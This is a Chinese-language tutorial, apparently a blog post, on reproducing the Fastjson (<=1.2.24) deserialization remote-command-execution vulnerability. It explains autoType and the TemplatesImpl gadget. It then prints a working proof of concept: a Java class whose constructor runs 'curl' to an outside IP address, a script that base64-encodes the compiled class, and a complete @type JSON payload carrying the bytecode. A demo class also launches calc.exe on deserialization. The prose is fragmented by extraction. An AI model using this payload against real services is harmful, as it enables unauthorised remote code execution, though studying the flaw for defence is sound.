參考文獻: https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/ https://paper.seebug.org/636/ http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html jar包下載下傳: https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47
Fastjson概念
Fastjson可以将
java的對象
轉換成
json
的形式,也可以用來将
json
java對象
,它的
JSONString()方法
可以将
java的對象
json
格式,同樣通過
parseObject方法
json資料
java的對象
一個栗子
序列化
PS:需導入
fastjson.jar
- User.java
package fastjsondemo;
import java.io.IOException;
public class User {
public String Username;
private String password ;
public String getUsername() {
return Username;
}
public void setUsername(String username) {
Username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public User() throws IOException{
Runtime.getRuntime().exec("calc.exe");
}
}
- Test1.java
package fastjsondemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test1 {
public static void main(String[] args){
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
String entity1= JSON.toJSONString(user);
System.out.println(entity1);
String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(entity2);
}
}
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIn5GcuYGNzQmZ1cTYyUWMkVWOhBjZiNTZzQmYldzMhZWYzQGOfdWbp9CXt92Yu4GZjlGbh5SZslmZxl3Lc9CX6MHc0RHaiojIsJye.png)
反序列化
FastJson中的
parse()
和
parseObject()
方法都可以用來将
JSON字元串反序列化成Java對象
。但是
parseObject()
會額外的将
Java對象轉為 JSONObject對象
,即
JSON.toJSON()
。
parse()
會識别并調用
目标類的 setter 方法及某些特定條件的 getter 方法
,而
parseObject()
在處理過程中會調用反序列化目标類的所有
setter
getter
方法。
String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);
PS:json反序列化時會自動調用無參構造器裡的方法,導緻電腦彈出
password字段設定的是私有屬性,FastJson無權直接去反序列化私有字段。
複現 fastjson 反序列化導緻任意指令執行漏洞
version: FastJson<=1.2.24
環境搭建什麼的就不說了,按照大佬給的步驟就行了
- 這是一個web應用,通路傳回“Hello world”。正常POST一個json,目标會提取json對象中的name和age拼接成一句話傳回:
FastJson反序列化漏洞 FastJson反序列化漏洞
漏洞原理:
-
原理
fastjson在解析json的過程中,支援使用
來執行個體化某一個具體的類,并通過json來填充其屬性值。而JDK自帶的類autoType
中有一個私有屬性com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
_bytecodes
,其部分方法會執行這個值中包含的Java位元組碼。
想要使用
的TemplatesImpl
_bytecodes
屬性執行任意指令,有幾個條件:
①目标網站使用fastjson庫解析json
②解析時設定了
Feature.SupportNonPublicField
,否則不支援傳入私有屬性
③目标使用的jdk中存在
類TemplatesImpl
- 調用鍊(偷大佬的圖) 利用方式
FastJson反序列化漏洞 - poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet { #強制類型轉化為AbstractTranslet類
public Poc() throws IOException {
Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}
- 執行指令
javac Poc.java
- 1.py(将
裡面的内容base64加密(FastJson提取Poc.class
字段值時會進行Base64解碼,是以構造payload時需要對byte[]數組
進行Base64處理))_bytecodes
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
- payload
{"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}